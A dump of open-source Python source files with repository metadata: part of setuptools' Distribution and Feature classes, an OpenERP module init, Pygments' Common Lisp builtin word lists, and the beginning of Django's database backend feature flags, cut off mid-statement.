easy_install( dist, args=["x"], install_dir=install_dir, exclude_scripts=True, always_copy=False, build_directory=None, editable=False, upgrade=False, multi_version=True, no_report=True, user=False ) cmd.ensure_finalized() self._egg_fetcher = cmd return cmd.easy_install(req) def _set_global_opts_from_features(self): """Add --with-X/--without-X options based on optional features""" go = [] no = self.negative_opt.copy() for name,feature in self.features.items(): self._set_feature(name,None) feature.validate(self) if feature.optional: descr = feature.description incdef = ' (default)' excdef='' if not feature.include_by_default(): excdef, incdef = incdef, excdef go.append(('with-'+name, None, 'include '+descr+incdef)) go.append(('without-'+name, None, 'exclude '+descr+excdef)) no['without-'+name] = 'with-'+name self.global_options = self.feature_options = go + self.global_options self.negative_opt = self.feature_negopt = no def _finalize_features(self): """Add/remove features and resolve dependencies between them""" # First, flag all the enabled items (and thus their dependencies) for name,feature in self.features.items(): enabled = self.feature_is_included(name) if enabled or (enabled is None and feature.include_by_default()): feature.include_in(self) self._set_feature(name,1) # Then disable the rest, so that off-by-default features don't # get flagged as errors when they're required by an enabled feature for name,feature in self.features.items(): if not self.feature_is_included(name): feature.exclude_from(self) self._set_feature(name,0) def get_command_class(self, command): """Pluggable version of get_command_class()""" if command in self.cmdclass: return self.cmdclass[command] for ep in pkg_resources.iter_entry_points('distutils.commands',command): ep.require(installer=self.fetch_build_egg) self.cmdclass[command] = cmdclass = ep.load() return cmdclass else: return _Distribution.get_command_class(self, command) def print_commands(self): for ep in pkg_resources.iter_entry_points('distutils.commands'): if ep.name not in self.cmdclass: # don't require extras as the commands won't be invoked cmdclass = ep.resolve() self.cmdclass[ep.name] = cmdclass return _Distribution.print_commands(self) def _set_feature(self,name,status): """Set feature's inclusion status""" setattr(self,self._feature_attrname(name),status) def feature_is_included(self,name): """Return 1 if feature is included, 0 if excluded, 'None' if unknown""" return getattr(self,self._feature_attrname(name)) def include_feature(self,name): """Request inclusion of feature named 'name'""" if self.feature_is_included(name)==0: descr = self.features[name].description raise DistutilsOptionError( descr + " is required, but was excluded or is not available" ) self.features[name].include_in(self) self._set_feature(name,1) def include(self,**attrs): """Add items to distribution that are named in keyword arguments For example, 'dist.exclude(py_modules=["x"])' would add 'x' to the distribution's 'py_modules' attribute, if it was not already there. Currently, this method only supports inclusion for attributes that are lists or tuples. If you need to add support for adding to other attributes in this or a subclass, you can add an '_include_X' method, where 'X' is the name of the attribute. The method will be called with the value passed to 'include()'. So, 'dist.include(foo={"bar":"baz"})' will try to call 'dist._include_foo({"bar":"baz"})', which can then handle whatever special inclusion logic is needed. """ for k,v in attrs.items(): include = getattr(self, '_include_'+k, None) if include: include(v) else: self._include_misc(k,v) def exclude_package(self,package): """Remove packages, modules, and extensions in named package""" pfx = package+'.' if self.packages: self.packages = [ p for p in self.packages if p != package and not p.startswith(pfx) ] if self.py_modules: self.py_modules = [ p for p in self.py_modules if p != package and not p.startswith(pfx) ] if self.ext_modules: self.ext_modules = [ p for p in self.ext_modules if p.name != package and not p.name.startswith(pfx) ] def has_contents_for(self,package): """Return true if 'exclude_package(package)' would do something""" pfx = package+'.' for p in self.iter_distribution_names(): if p==package or p.startswith(pfx): return True def _exclude_misc(self,name,value): """Handle 'exclude()' for list/tuple attrs without a special handler""" if not isinstance(value,sequence): raise DistutilsSetupError( "%s: setting must be a list or tuple (%r)" % (name, value) ) try: old = getattr(self,name) except AttributeError: raise DistutilsSetupError( "%s: No such distribution setting" % name ) if old is not None and not isinstance(old,sequence): raise DistutilsSetupError( name+": this setting cannot be changed via include/exclude" ) elif old: setattr(self,name,[item for item in old if item not in value]) def _include_misc(self,name,value): """Handle 'include()' for list/tuple attrs without a special handler""" if not isinstance(value,sequence): raise DistutilsSetupError( "%s: setting must be a list (%r)" % (name, value) ) try: old = getattr(self,name) except AttributeError: raise DistutilsSetupError( "%s: No such distribution setting" % name ) if old is None: setattr(self,name,value) elif not isinstance(old,sequence): raise DistutilsSetupError( name+": this setting cannot be changed via include/exclude" ) else: setattr(self,name,old+[item for item in value if item not in old]) def exclude(self,**attrs): """Remove items from distribution that are named in keyword arguments For example, 'dist.exclude(py_modules=["x"])' would remove 'x' from the distribution's 'py_modules' attribute. Excluding packages uses the 'exclude_package()' method, so all of the package's contained packages, modules, and extensions are also excluded. Currently, this method only supports exclusion from attributes that are lists or tuples. If you need to add support for excluding from other attributes in this or a subclass, you can add an '_exclude_X' method, where 'X' is the name of the attribute. The method will be called with the value passed to 'exclude()'. So, 'dist.exclude(foo={"bar":"baz"})' will try to call 'dist._exclude_foo({"bar":"baz"})', which can then handle whatever special exclusion logic is needed. """ for k,v in attrs.items(): exclude = getattr(self, '_exclude_'+k, None) if exclude: exclude(v) else: self._exclude_misc(k,v) def _exclude_packages(self,packages): if not isinstance(packages,sequence): raise DistutilsSetupError( "packages: setting must be a list or tuple (%r)" % (packages,) ) list(map(self.exclude_package, packages)) def _parse_command_opts(self, parser, args): # Remove --with-X/--without-X options when processing command args self.global_options = self.__class__.global_options self.negative_opt = self.__class__.negative_opt # First, expand any aliases command = args[0] aliases = self.get_option_dict('aliases') while command in aliases: src,alias = aliases[command] del aliases[command] # ensure each alias can expand only once! import shlex args[:1] = shlex.split(alias,True) command = args[0] nargs = _Distribution._parse_command_opts(self, parser, args) # Handle commands that want to consume all remaining arguments cmd_class = self.get_command_class(command) if getattr(cmd_class,'command_consumes_arguments',None): self.get_option_dict(command)['args'] = ("command line", nargs) if nargs is not None: return [] return nargs def get_cmdline_options(self): """Return a '{cmd: {opt:val}}' map of all command-line options Option names are all long, but do not include the leading '--', and contain dashes rather than underscores. If the option doesn't take an argument (e.g. '--quiet'), the 'val' is 'None'. Note that options provided by config files are intentionally excluded. """ d = {} for cmd,opts in self.command_options.items(): for opt,(src,val) in opts.items(): if src != "command line": continue opt = opt.replace('_','-') if val==0: cmdobj = self.get_command_obj(cmd) neg_opt = self.negative_opt.copy() neg_opt.update(getattr(cmdobj,'negative_opt',{})) for neg,pos in neg_opt.items(): if pos==opt: opt=neg val=None break else: raise AssertionError("Shouldn't be able to get here") elif val==1: val = None d.setdefault(cmd,{})[opt] = val return d def iter_distribution_names(self): """Yield all packages, modules, and extension names in distribution""" for pkg in self.packages or (): yield pkg for module in self.py_modules or (): yield module for ext in self.ext_modules or (): if isinstance(ext,tuple): name, buildinfo = ext else: name = ext.name if name.endswith('module'): name = name[:-6] yield name def handle_display_options(self, option_order): """If there were any non-global "display-only" options (--help-commands or the metadata display options) on the command line, display the requested info and return true; else return false. """ import sys if PY2 or self.help_commands: return _Distribution.handle_display_options(self, option_order) # Stdout may be StringIO (e.g. in tests) import io if not isinstance(sys.stdout, io.TextIOWrapper): return _Distribution.handle_display_options(self, option_order) # Don't wrap stdout if utf-8 is already the encoding. Provides # workaround for #334. if sys.stdout.encoding.lower() in ('utf-8', 'utf8'): return _Distribution.handle_display_options(self, option_order) # Print metadata in UTF-8 no matter the platform encoding = sys.stdout.encoding errors = sys.stdout.errors newline = sys.platform != 'win32' and '\n' or None line_buffering = sys.stdout.line_buffering sys.stdout = io.TextIOWrapper( sys.stdout.detach(), 'utf-8', errors, newline, line_buffering) try: return _Distribution.handle_display_options(self, option_order) finally: sys.stdout = io.TextIOWrapper( sys.stdout.detach(), encoding, errors, newline, line_buffering) # Install it throughout the distutils for module in distutils.dist, distutils.core, distutils.cmd: module.Distribution = Distribution class Feature: """ **deprecated** -- The `Feature` facility was never completely implemented or supported, `has reported issues <https://bitbucket.org/pypa/setuptools/issue/58>`_ and will be removed in a future version. A subset of the distribution that can be excluded if unneeded/wanted Features are created using these keyword arguments: 'description' -- a short, human readable description of the feature, to be used in error messages, and option help messages. 'standard' -- if true, the feature is included by default if it is available on the current system. Otherwise, the feature is only included if requested via a command line '--with-X' option, or if another included feature requires it. The default setting is 'False'. 'available' -- if true, the feature is available for installation on the current system. The default setting is 'True'. 'optional' -- if true, the feature's inclusion can be controlled from the command line, using the '--with-X' or '--without-X' options. If false, the feature's inclusion status is determined automatically, based on 'availabile', 'standard', and whether any other feature requires it. The default setting is 'True'. 'require_features' -- a string or sequence of strings naming features that should also be included if this feature is included. Defaults to empty list. May also contain 'Require' objects that should be added/removed from the distribution. 'remove' -- a string or list of strings naming packages to be removed from the distribution if this feature is *not* included. If the feature *is* included, this argument is ignored. This argument exists to support removing features that "crosscut" a distribution, such as defining a 'tests' feature that removes all the 'tests' subpackages provided by other features. The default for this argument is an empty list. (Note: the named package(s) or modules must exist in the base distribution when the 'setup()' function is initially called.) other keywords -- any other keyword arguments are saved, and passed to the distribution's 'include()' and 'exclude()' methods when the feature is included or excluded, respectively. So, for example, you could pass 'packages=["a","b"]' to cause packages 'a' and 'b' to be added or removed from the distribution as appropriate. A feature must include at least one 'requires', 'remove', or other keyword argument. Otherwise, it can't affect the distribution in any way. Note also that you can subclass 'Feature' to create your own specialized feature types that modify the distribution in other ways when included or excluded. See the docstrings for the various methods here for more detail. Aside from the methods, the only feature attributes that distributions look at are 'description' and 'optional'. """ @staticmethod def warn_deprecated(): warnings.warn( "Features are deprecated and will be removed in a future " "version. See http://bitbucket.org/pypa/setuptools/65.", DeprecationWarning, stacklevel=3, ) def __init__(self, description, standard=False, available=True, optional=True, require_features=(), remove=(), **extras): self.warn_deprecated() self.description = description self.standard = standard self.available = available self.optional = optional if isinstance(require_features,(str,Require)): require_features = require_features, self.require_features = [ r for r in require_features if isinstance(r,str) ] er = [r for r in require_features if not isinstance(r,str)] if er: extras['require_features'] = er if isinstance(remove,str): remove = remove, self.remove = remove self.extras = extras if not remove and not require_features and not extras: raise DistutilsSetupError( "Feature %s: must define 'require_features', 'remove', or at least one" " of 'packages', 'py_modules', etc." ) def include_by_default(self): """Should this feature be included by default?""" return self.available and self.standard def include_in(self,dist): """Ensure feature and its requirements are included in distribution You may override this in a subclass to perform additional operations on the distribution. Note that this method may be called more than once per feature, and so should be idempotent. """ if not self.available: raise DistutilsPlatformError( self.description+" is required," "but is not available on this platform" ) dist.include(**self.extras) for f in self.require_features: dist.include_feature(f) def exclude_from(self,dist): """Ensure feature is excluded from distribution You may override this in a subclass to perform additional operations on the distribution. This method will be called at most once per feature, and only after all included features have been asked to include themselves. """ dist.exclude(**self.extras) if self.remove: for item in self.remove: dist.exclude_package(item) def validate(self,dist): """Verify that feature makes sense in context of distribution This method is called by the distribution just before it parses its command line. It checks to ensure that the 'remove' attribute, if any, contains only valid package/module names that are present in the base distribution when 'setup()' is called. You may override it in a subclass to perform any other required validation of the feature against a target distribution. """ for item in self.remove: if not dist.has_contents_for(item): raise DistutilsSetupError( "%s wants to be able to remove %s, but the distribution" " doesn't contain any packages or modules under %s" % (self.description, item, item) )
apache-2.0
ttfseiko/openerp-trunk
openerp/addons/hr_timesheet_sheet/report/__init__.py
101
1097
# -*- coding: utf-8 -*- ############################################################################## # # OpenERP, Open Source Management Solution # Copyright (C) 2004-2010 Tiny SPRL (<http://tiny.be>). # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as # published by the Free Software Foundation, either version 3 of the # License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Affero General Public License for more details. # # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # ############################################################################## import timesheet_report import hr_timesheet_report # vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:
agpl-3.0
kenshay/ImageScripter
ProgramData/SystemFiles/Python/Lib/site-packages/pygments/lexers/_cl_builtins.py
31
14053
# -*- coding: utf-8 -*- """ pygments.lexers._cl_builtins ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ANSI Common Lisp builtins. :copyright: Copyright 2006-2017 by the Pygments team, see AUTHORS. :license: BSD, see LICENSE for details. """ BUILTIN_FUNCTIONS = set(( # 638 functions '<', '<=', '=', '>', '>=', '-', '/', '/=', '*', '+', '1-', '1+', 'abort', 'abs', 'acons', 'acos', 'acosh', 'add-method', 'adjoin', 'adjustable-array-p', 'adjust-array', 'allocate-instance', 'alpha-char-p', 'alphanumericp', 'append', 'apply', 'apropos', 'apropos-list', 'aref', 'arithmetic-error-operands', 'arithmetic-error-operation', 'array-dimension', 'array-dimensions', 'array-displacement', 'array-element-type', 'array-has-fill-pointer-p', 'array-in-bounds-p', 'arrayp', 'array-rank', 'array-row-major-index', 'array-total-size', 'ash', 'asin', 'asinh', 'assoc', 'assoc-if', 'assoc-if-not', 'atan', 'atanh', 'atom', 'bit', 'bit-and', 'bit-andc1', 'bit-andc2', 'bit-eqv', 'bit-ior', 'bit-nand', 'bit-nor', 'bit-not', 'bit-orc1', 'bit-orc2', 'bit-vector-p', 'bit-xor', 'boole', 'both-case-p', 'boundp', 'break', 'broadcast-stream-streams', 'butlast', 'byte', 'byte-position', 'byte-size', 'caaaar', 'caaadr', 'caaar', 'caadar', 'caaddr', 'caadr', 'caar', 'cadaar', 'cadadr', 'cadar', 'caddar', 'cadddr', 'caddr', 'cadr', 'call-next-method', 'car', 'cdaaar', 'cdaadr', 'cdaar', 'cdadar', 'cdaddr', 'cdadr', 'cdar', 'cddaar', 'cddadr', 'cddar', 'cdddar', 'cddddr', 'cdddr', 'cddr', 'cdr', 'ceiling', 'cell-error-name', 'cerror', 'change-class', 'char', 'char<', 'char<=', 'char=', 'char>', 'char>=', 'char/=', 'character', 'characterp', 'char-code', 'char-downcase', 'char-equal', 'char-greaterp', 'char-int', 'char-lessp', 'char-name', 'char-not-equal', 'char-not-greaterp', 'char-not-lessp', 'char-upcase', 'cis', 'class-name', 'class-of', 'clear-input', 'clear-output', 'close', 'clrhash', 'code-char', 'coerce', 'compile', 'compiled-function-p', 'compile-file', 'compile-file-pathname', 'compiler-macro-function', 'complement', 'complex', 'complexp', 'compute-applicable-methods', 'compute-restarts', 'concatenate', 'concatenated-stream-streams', 'conjugate', 'cons', 'consp', 'constantly', 'constantp', 'continue', 'copy-alist', 'copy-list', 'copy-pprint-dispatch', 'copy-readtable', 'copy-seq', 'copy-structure', 'copy-symbol', 'copy-tree', 'cos', 'cosh', 'count', 'count-if', 'count-if-not', 'decode-float', 'decode-universal-time', 'delete', 'delete-duplicates', 'delete-file', 'delete-if', 'delete-if-not', 'delete-package', 'denominator', 'deposit-field', 'describe', 'describe-object', 'digit-char', 'digit-char-p', 'directory', 'directory-namestring', 'disassemble', 'documentation', 'dpb', 'dribble', 'echo-stream-input-stream', 'echo-stream-output-stream', 'ed', 'eighth', 'elt', 'encode-universal-time', 'endp', 'enough-namestring', 'ensure-directories-exist', 'ensure-generic-function', 'eq', 'eql', 'equal', 'equalp', 'error', 'eval', 'evenp', 'every', 'exp', 'export', 'expt', 'fboundp', 'fceiling', 'fdefinition', 'ffloor', 'fifth', 'file-author', 'file-error-pathname', 'file-length', 'file-namestring', 'file-position', 'file-string-length', 'file-write-date', 'fill', 'fill-pointer', 'find', 'find-all-symbols', 'find-class', 'find-if', 'find-if-not', 'find-method', 'find-package', 'find-restart', 'find-symbol', 'finish-output', 'first', 'float', 'float-digits', 'floatp', 'float-precision', 'float-radix', 'float-sign', 'floor', 'fmakunbound', 'force-output', 'format', 'fourth', 'fresh-line', 'fround', 'ftruncate', 'funcall', 'function-keywords', 'function-lambda-expression', 'functionp', 'gcd', 'gensym', 'gentemp', 'get', 'get-decoded-time', 'get-dispatch-macro-character', 'getf', 'gethash', 'get-internal-real-time', 'get-internal-run-time', 'get-macro-character', 'get-output-stream-string', 'get-properties', 'get-setf-expansion', 'get-universal-time', 'graphic-char-p', 'hash-table-count', 'hash-table-p', 'hash-table-rehash-size', 'hash-table-rehash-threshold', 'hash-table-size', 'hash-table-test', 'host-namestring', 'identity', 'imagpart', 'import', 'initialize-instance', 'input-stream-p', 'inspect', 'integer-decode-float', 'integer-length', 'integerp', 'interactive-stream-p', 'intern', 'intersection', 'invalid-method-error', 'invoke-debugger', 'invoke-restart', 'invoke-restart-interactively', 'isqrt', 'keywordp', 'last', 'lcm', 'ldb', 'ldb-test', 'ldiff', 'length', 'lisp-implementation-type', 'lisp-implementation-version', 'list', 'list*', 'list-all-packages', 'listen', 'list-length', 'listp', 'load', 'load-logical-pathname-translations', 'log', 'logand', 'logandc1', 'logandc2', 'logbitp', 'logcount', 'logeqv', 'logical-pathname', 'logical-pathname-translations', 'logior', 'lognand', 'lognor', 'lognot', 'logorc1', 'logorc2', 'logtest', 'logxor', 'long-site-name', 'lower-case-p', 'machine-instance', 'machine-type', 'machine-version', 'macroexpand', 'macroexpand-1', 'macro-function', 'make-array', 'make-broadcast-stream', 'make-concatenated-stream', 'make-condition', 'make-dispatch-macro-character', 'make-echo-stream', 'make-hash-table', 'make-instance', 'make-instances-obsolete', 'make-list', 'make-load-form', 'make-load-form-saving-slots', 'make-package', 'make-pathname', 'make-random-state', 'make-sequence', 'make-string', 'make-string-input-stream', 'make-string-output-stream', 'make-symbol', 'make-synonym-stream', 'make-two-way-stream', 'makunbound', 'map', 'mapc', 'mapcan', 'mapcar', 'mapcon', 'maphash', 'map-into', 'mapl', 'maplist', 'mask-field', 'max', 'member', 'member-if', 'member-if-not', 'merge', 'merge-pathnames', 'method-combination-error', 'method-qualifiers', 'min', 'minusp', 'mismatch', 'mod', 'muffle-warning', 'name-char', 'namestring', 'nbutlast', 'nconc', 'next-method-p', 'nintersection', 'ninth', 'no-applicable-method', 'no-next-method', 'not', 'notany', 'notevery', 'nreconc', 'nreverse', 'nset-difference', 'nset-exclusive-or', 'nstring-capitalize', 'nstring-downcase', 'nstring-upcase', 'nsublis', 'nsubst', 'nsubst-if', 'nsubst-if-not', 'nsubstitute', 'nsubstitute-if', 'nsubstitute-if-not', 'nth', 'nthcdr', 'null', 'numberp', 'numerator', 'nunion', 'oddp', 'open', 'open-stream-p', 'output-stream-p', 'package-error-package', 'package-name', 'package-nicknames', 'packagep', 'package-shadowing-symbols', 'package-used-by-list', 'package-use-list', 'pairlis', 'parse-integer', 'parse-namestring', 'pathname', 'pathname-device', 'pathname-directory', 'pathname-host', 'pathname-match-p', 'pathname-name', 'pathnamep', 'pathname-type', 'pathname-version', 'peek-char', 'phase', 'plusp', 'position', 'position-if', 'position-if-not', 'pprint', 'pprint-dispatch', 'pprint-fill', 'pprint-indent', 'pprint-linear', 'pprint-newline', 'pprint-tab', 'pprint-tabular', 'prin1', 'prin1-to-string', 'princ', 'princ-to-string', 'print', 'print-object', 'probe-file', 'proclaim', 'provide', 'random', 'random-state-p', 'rassoc', 'rassoc-if', 'rassoc-if-not', 'rational', 'rationalize', 'rationalp', 'read', 'read-byte', 'read-char', 'read-char-no-hang', 'read-delimited-list', 'read-from-string', 'read-line', 'read-preserving-whitespace', 'read-sequence', 'readtable-case', 'readtablep', 'realp', 'realpart', 'reduce', 'reinitialize-instance', 'rem', 'remhash', 'remove', 'remove-duplicates', 'remove-if', 'remove-if-not', 'remove-method', 'remprop', 'rename-file', 'rename-package', 'replace', 'require', 'rest', 'restart-name', 'revappend', 'reverse', 'room', 'round', 'row-major-aref', 'rplaca', 'rplacd', 'sbit', 'scale-float', 'schar', 'search', 'second', 'set', 'set-difference', 'set-dispatch-macro-character', 'set-exclusive-or', 'set-macro-character', 'set-pprint-dispatch', 'set-syntax-from-char', 'seventh', 'shadow', 'shadowing-import', 'shared-initialize', 'short-site-name', 'signal', 'signum', 'simple-bit-vector-p', 'simple-condition-format-arguments', 'simple-condition-format-control', 'simple-string-p', 'simple-vector-p', 'sin', 'sinh', 'sixth', 'sleep', 'slot-boundp', 'slot-exists-p', 'slot-makunbound', 'slot-missing', 'slot-unbound', 'slot-value', 'software-type', 'software-version', 'some', 'sort', 'special-operator-p', 'sqrt', 'stable-sort', 'standard-char-p', 'store-value', 'stream-element-type', 'stream-error-stream', 'stream-external-format', 'streamp', 'string', 'string<', 'string<=', 'string=', 'string>', 'string>=', 'string/=', 'string-capitalize', 'string-downcase', 'string-equal', 'string-greaterp', 'string-left-trim', 'string-lessp', 'string-not-equal', 'string-not-greaterp', 'string-not-lessp', 'stringp', 'string-right-trim', 'string-trim', 'string-upcase', 'sublis', 'subseq', 'subsetp', 'subst', 'subst-if', 'subst-if-not', 'substitute', 'substitute-if', 'substitute-if-not', 'subtypep','svref', 'sxhash', 'symbol-function', 'symbol-name', 'symbolp', 'symbol-package', 'symbol-plist', 'symbol-value', 'synonym-stream-symbol', 'syntax:', 'tailp', 'tan', 'tanh', 'tenth', 'terpri', 'third', 'translate-logical-pathname', 'translate-pathname', 'tree-equal', 'truename', 'truncate', 'two-way-stream-input-stream', 'two-way-stream-output-stream', 'type-error-datum', 'type-error-expected-type', 'type-of', 'typep', 'unbound-slot-instance', 'unexport', 'unintern', 'union', 'unread-char', 'unuse-package', 'update-instance-for-different-class', 'update-instance-for-redefined-class', 'upgraded-array-element-type', 'upgraded-complex-part-type', 'upper-case-p', 'use-package', 'user-homedir-pathname', 'use-value', 'values', 'values-list', 'vector', 'vectorp', 'vector-pop', 'vector-push', 'vector-push-extend', 'warn', 'wild-pathname-p', 'write', 'write-byte', 'write-char', 'write-line', 'write-sequence', 'write-string', 'write-to-string', 'yes-or-no-p', 'y-or-n-p', 'zerop', )) SPECIAL_FORMS = set(( 'block', 'catch', 'declare', 'eval-when', 'flet', 'function', 'go', 'if', 'labels', 'lambda', 'let', 'let*', 'load-time-value', 'locally', 'macrolet', 'multiple-value-call', 'multiple-value-prog1', 'progn', 'progv', 'quote', 'return-from', 'setq', 'symbol-macrolet', 'tagbody', 'the', 'throw', 'unwind-protect', )) MACROS = set(( 'and', 'assert', 'call-method', 'case', 'ccase', 'check-type', 'cond', 'ctypecase', 'decf', 'declaim', 'defclass', 'defconstant', 'defgeneric', 'define-compiler-macro', 'define-condition', 'define-method-combination', 'define-modify-macro', 'define-setf-expander', 'define-symbol-macro', 'defmacro', 'defmethod', 'defpackage', 'defparameter', 'defsetf', 'defstruct', 'deftype', 'defun', 'defvar', 'destructuring-bind', 'do', 'do*', 'do-all-symbols', 'do-external-symbols', 'dolist', 'do-symbols', 'dotimes', 'ecase', 'etypecase', 'formatter', 'handler-bind', 'handler-case', 'ignore-errors', 'incf', 'in-package', 'lambda', 'loop', 'loop-finish', 'make-method', 'multiple-value-bind', 'multiple-value-list', 'multiple-value-setq', 'nth-value', 'or', 'pop', 'pprint-exit-if-list-exhausted', 'pprint-logical-block', 'pprint-pop', 'print-unreadable-object', 'prog', 'prog*', 'prog1', 'prog2', 'psetf', 'psetq', 'push', 'pushnew', 'remf', 'restart-bind', 'restart-case', 'return', 'rotatef', 'setf', 'shiftf', 'step', 'time', 'trace', 'typecase', 'unless', 'untrace', 'when', 'with-accessors', 'with-compilation-unit', 'with-condition-restarts', 'with-hash-table-iterator', 'with-input-from-string', 'with-open-file', 'with-open-stream', 'with-output-to-string', 'with-package-iterator', 'with-simple-restart', 'with-slots', 'with-standard-io-syntax', )) LAMBDA_LIST_KEYWORDS = set(( '&allow-other-keys', '&aux', '&body', '&environment', '&key', '&optional', '&rest', '&whole', )) DECLARATIONS = set(( 'dynamic-extent', 'ignore', 'optimize', 'ftype', 'inline', 'special', 'ignorable', 'notinline', 'type', )) BUILTIN_TYPES = set(( 'atom', 'boolean', 'base-char', 'base-string', 'bignum', 'bit', 'compiled-function', 'extended-char', 'fixnum', 'keyword', 'nil', 'signed-byte', 'short-float', 'single-float', 'double-float', 'long-float', 'simple-array', 'simple-base-string', 'simple-bit-vector', 'simple-string', 'simple-vector', 'standard-char', 'unsigned-byte', # Condition Types 'arithmetic-error', 'cell-error', 'condition', 'control-error', 'division-by-zero', 'end-of-file', 'error', 'file-error', 'floating-point-inexact', 'floating-point-overflow', 'floating-point-underflow', 'floating-point-invalid-operation', 'parse-error', 'package-error', 'print-not-readable', 'program-error', 'reader-error', 'serious-condition', 'simple-condition', 'simple-error', 'simple-type-error', 'simple-warning', 'stream-error', 'storage-condition', 'style-warning', 'type-error', 'unbound-variable', 'unbound-slot', 'undefined-function', 'warning', )) BUILTIN_CLASSES = set(( 'array', 'broadcast-stream', 'bit-vector', 'built-in-class', 'character', 'class', 'complex', 'concatenated-stream', 'cons', 'echo-stream', 'file-stream', 'float', 'function', 'generic-function', 'hash-table', 'integer', 'list', 'logical-pathname', 'method-combination', 'method', 'null', 'number', 'package', 'pathname', 'ratio', 'rational', 'readtable', 'real', 'random-state', 'restart', 'sequence', 'standard-class', 'standard-generic-function', 'standard-method', 'standard-object', 'string-stream', 'stream', 'string', 'structure-class', 'structure-object', 'symbol', 'synonym-stream', 't', 'two-way-stream', 'vector', ))
gpl-3.0
Venturi/oldcms
env/lib/python2.7/site-packages/django/db/backends/base/features.py
79
9569
from django.db.models.aggregates import StdDev from django.db.utils import ProgrammingError from django.utils.functional import cached_property class BaseDatabaseFeatures(object): gis_enabled = False allows_group_by_pk = False # True if django.db.backends.utils.typecast_timestamp is used on values # returned from dates() calls. needs_datetime_string_cast = True empty_fetchmany_value = [] update_can_self_select = True # Does the backend distinguish between '' and None? interprets_empty_strings_as_nulls = False # Does the backend allow inserting duplicate NULL rows in a nullable # unique field? All core backends implement this correctly, but other # databases such as SQL Server do not. supports_nullable_unique_constraints = True # Does the backend allow inserting duplicate rows when a unique_together # constraint exists and some fields are nullable but not all of them? supports_partially_nullable_unique_constraints = True can_use_chunked_reads = True can_return_id_from_insert = False has_bulk_insert = False uses_savepoints = False can_release_savepoints = False can_combine_inserts_with_and_without_auto_increment_pk = False # If True, don't use integer foreign keys referring to, e.g., positive # integer primary keys. related_fields_match_type = False allow_sliced_subqueries = True has_select_for_update = False has_select_for_update_nowait = False supports_select_related = True # Does the default test database allow multiple connections? # Usually an indication that the test database is in-memory test_db_allows_multiple_connections = True # Can an object be saved without an explicit primary key? supports_unspecified_pk = False # Can a fixture contain forward references? i.e., are # FK constraints checked at the end of transaction, or # at the end of each save operation? supports_forward_references = True # Does the backend truncate names properly when they are too long? truncates_names = False # Is there a REAL datatype in addition to floats/doubles? has_real_datatype = False supports_subqueries_in_group_by = True supports_bitwise_or = True # Is there a true datatype for uuid? has_native_uuid_field = False # Is there a true datatype for timedeltas? has_native_duration_field = False # Does the database driver support timedeltas as arguments? # This is only relevant when there is a native duration field. # Specifically, there is a bug with cx_Oracle: # https://bitbucket.org/anthony_tuininga/cx_oracle/issue/7/ driver_supports_timedelta_args = False # Do time/datetime fields have microsecond precision? supports_microsecond_precision = True # Does the __regex lookup support backreferencing and grouping? supports_regex_backreferencing = True # Can date/datetime lookups be performed using a string? supports_date_lookup_using_string = True # Can datetimes with timezones be used? supports_timezones = True # Does the database have a copy of the zoneinfo database? has_zoneinfo_database = True # When performing a GROUP BY, is an ORDER BY NULL required # to remove any ordering? requires_explicit_null_ordering_when_grouping = False # Does the backend order NULL values as largest or smallest? nulls_order_largest = False # Is there a 1000 item limit on query parameters? supports_1000_query_parameters = True # Can an object have an autoincrement primary key of 0? MySQL says No. allows_auto_pk_0 = True # Do we need to NULL a ForeignKey out, or can the constraint check be # deferred can_defer_constraint_checks = False # date_interval_sql can properly handle mixed Date/DateTime fields and timedeltas supports_mixed_date_datetime_comparisons = True # Does the backend support tablespaces? Default to False because it isn't # in the SQL standard. supports_tablespaces = False # Does the backend reset sequences between tests? supports_sequence_reset = True # Can the backend determine reliably the length of a CharField? can_introspect_max_length = True # Can the backend determine reliably if a field is nullable? # Note that this is separate from interprets_empty_strings_as_nulls, # although the latter feature, when true, interferes with correct # setting (and introspection) of CharFields' nullability. # This is True for all core backends. can_introspect_null = True # Confirm support for introspected foreign keys # Every database can do this reliably, except MySQL, # which can't do it for MyISAM tables can_introspect_foreign_keys = True # Can the backend introspect an AutoField, instead of an IntegerField? can_introspect_autofield = False # Can the backend introspect a BigIntegerField, instead of an IntegerField? can_introspect_big_integer_field = True # Can the backend introspect an BinaryField, instead of an TextField? can_introspect_binary_field = True # Can the backend introspect an DecimalField, instead of an FloatField? can_introspect_decimal_field = True # Can the backend introspect an IPAddressField, instead of an CharField? can_introspect_ip_address_field = False # Can the backend introspect a PositiveIntegerField, instead of an IntegerField? can_introspect_positive_integer_field = False # Can the backend introspect a SmallIntegerField, instead of an IntegerField? can_introspect_small_integer_field = False # Can the backend introspect a TimeField, instead of a DateTimeField? can_introspect_time_field = True # Support for the DISTINCT ON clause can_distinct_on_fields = False # Does the backend decide to commit before SAVEPOINT statements # when autocommit is disabled? http://bugs.python.org/issue8145#msg109965 autocommits_when_autocommit_is_off = False # Does the backend prevent running SQL queries in broken transactions? atomic_transactions = True # Can we roll back DDL in a transaction? can_rollback_ddl = False # Can we issue more than one ALTER COLUMN clause in an ALTER TABLE? supports_combined_alters = False # Does it support foreign keys? supports_foreign_keys = True # Does it support CHECK constraints? supports_column_check_constraints = True # Does the backend support 'pyformat' style ("... %(name)s ...", {'name': value}) # parameter passing? Note this can be provided by the backend even if not # supported by the Python driver supports_paramstyle_pyformat = True # Does the backend require literal defaults, rather than parameterized ones? requires_literal_defaults = False # Does the backend require a connection reset after each material schema change? connection_persists_old_columns = False # What kind of error does the backend throw when accessing closed cursor? closed_cursor_error_class = ProgrammingError # Does 'a' LIKE 'A' match? has_case_insensitive_like = True # Does the backend require the sqlparse library for splitting multi-line # statements before executing them? requires_sqlparse_for_splitting = True # Suffix for backends that don't support "SELECT xxx;" queries. bare_select_suffix = '' # If NULL is implied on columns without needing to be explicitly specified implied_column_null = False uppercases_column_names = False # Does the backend support "select for update" queries with limit (and offset)? supports_select_for_update_with_limit = True def __init__(self, connection): self.connection = connection @cached_property def supports_transactions(self): """Confirm support for transactions.""" with self.connection.cursor() as cursor: cursor.execute('CREATE TABLE ROLLBACK_TEST (X INT)') self.connection.set_autocommit(False) cursor.execute('INSERT INTO ROLLBACK_TEST (X) 